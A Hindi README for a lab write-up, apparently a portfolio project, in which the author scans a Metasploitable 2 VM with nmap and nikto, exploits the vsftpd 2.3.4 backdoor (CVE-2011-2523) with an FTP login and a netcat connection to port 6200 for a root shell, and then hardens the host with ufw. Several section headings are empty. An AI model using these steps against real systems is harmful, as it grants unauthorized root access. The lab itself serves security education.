📋 अवलोकन

यह प्रयोगशाला एक पूरी तरह से पृथक आभासी वातावरण में एक वास्तविक दुनिया के पैठ परीक्षण और रक्षात्मक कठोरीकरण अभ्यास का अनुकरण करती है। यह आक्रामक सुरक्षा जीवनचक्र को प्रदर्शित करती है — खोज से लेकर शोषण तक — और रक्षात्मक नियंत्रण जो प्रत्येक जोखिम को कम करेगा।

मुख्य परिणाम: बिना किसी क्रेडेंशियल या विशेष उपकरणों के, एक ज्ञात बैकडोर का शोषण करके 60 सेकंड से कम समय में लक्ष्य मशीन पर पूर्ण रूट पहुंच प्राप्त की।

🏗 प्रयोगशाला वातावरण

🎯 कार्यप्रणाली

Reconnaissance  →  Scanning  →  Exploitation  →  Defense & Hardening

🔍 चरण 1 — टोही

Nmap के साथ पोर्ट स्कैनिंग

sudo nmap -sV -O 192.168.148.130 -oN scan_before.txt

मुख्य निष्कर्ष — कुल 23 खुले पोर्ट:

Nikto के साथ वेब स्कैनिंग

nikto -h http://192.168.148.130 -o nikto_before.txt

18 कमजोरियाँ पाई गईं, जिनमें शामिल हैं:

• phpMyAdmin सार्वजनिक रूप से उजागर
• phpinfo.php पूर्ण सर्वर कॉन्फ़िगरेशन लीक कर रहा है
• HTTP TRACE सक्षम (XST हमले)
• /doc/, /test/ पर निर्देशिका अनुक्रमण सक्षम
• पुराना Apache 2.2.8 और PHP 5.2.4

💥 चरण 2 — शोषण

CVE-2011-2523 — vsftpd 2.3.4 बैकडोर

vsftpd 2.3.4 में आपूर्ति श्रृंखला समझौते के माध्यम से पेश किया गया एक बैकडोर है। :) में समाप्त होने वाले उपयोगकर्ता नाम को भेजने से सर्वर पोर्ट 6200 पर एक रूट शेल खोलता है।

# Step 1 — Trigger the backdoor via FTP
ftp 192.168.148.130
# Username: backdoor:)   Password: anything

# Step 2 — Connect to the spawned shell
nc 192.168.148.130 6200

# Step 3 — Verify access
whoami
# → root

परिणाम: < 60 सेकंड में पूर्ण रूट-स्तरीय सिस्टम पहुंच प्राप्त हुई — कोई क्रेडेंशियल, कोई शोषण ढांचा आवश्यक नहीं।

प्रभाव: रूट पहुंच वाला हमलावर किसी भी फ़ाइल को पढ़/संशोधित/हटा सकता है, मैलवेयर स्थापित कर सकता है, डेटा बाहर निकाल सकता है, या नेटवर्क पर अन्य होस्ट पर पैंतरेबाज़ी कर सकता है।

🛡 चरण 3 — बचाव और कठोरीकरण

UFW फ़ायरवॉल — डिफ़ॉल्ट अस्वीकार नीति

sudo ufw enable
sudo ufw default deny incoming
sudo ufw default allow outgoing
sudo ufw allow 22/tcp    # SSH only
sudo ufw status verbose

अनुशंसित उपचार

📄 पूरी रिपोर्ट

पूर्ण मूल्यांकन के लिए report.md देखें — पूर्ण कार्यप्रणाली, कमांड आउटपुट, निष्कर्ष तालिका, शोषण चरण, और सभी उपचार अनुशंसाएँ।

⚠️ कानूनी अस्वीकरण

यह प्रयोगशाला जानबूझकर कमजोर सॉफ्टवेयर (Metasploitable 2) का उपयोग करके पूरी तरह से पृथक आभासी वातावरण में संचालित की गई थी। सभी तकनीकें केवल शैक्षिक और पोर्टफोलियो उद्देश्यों के लिए हैं। उन सिस्टमों पर दोहराएं नहीं जिनके आप मालिक नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति नहीं है।

🛠 उपयोग किए गए उपकरण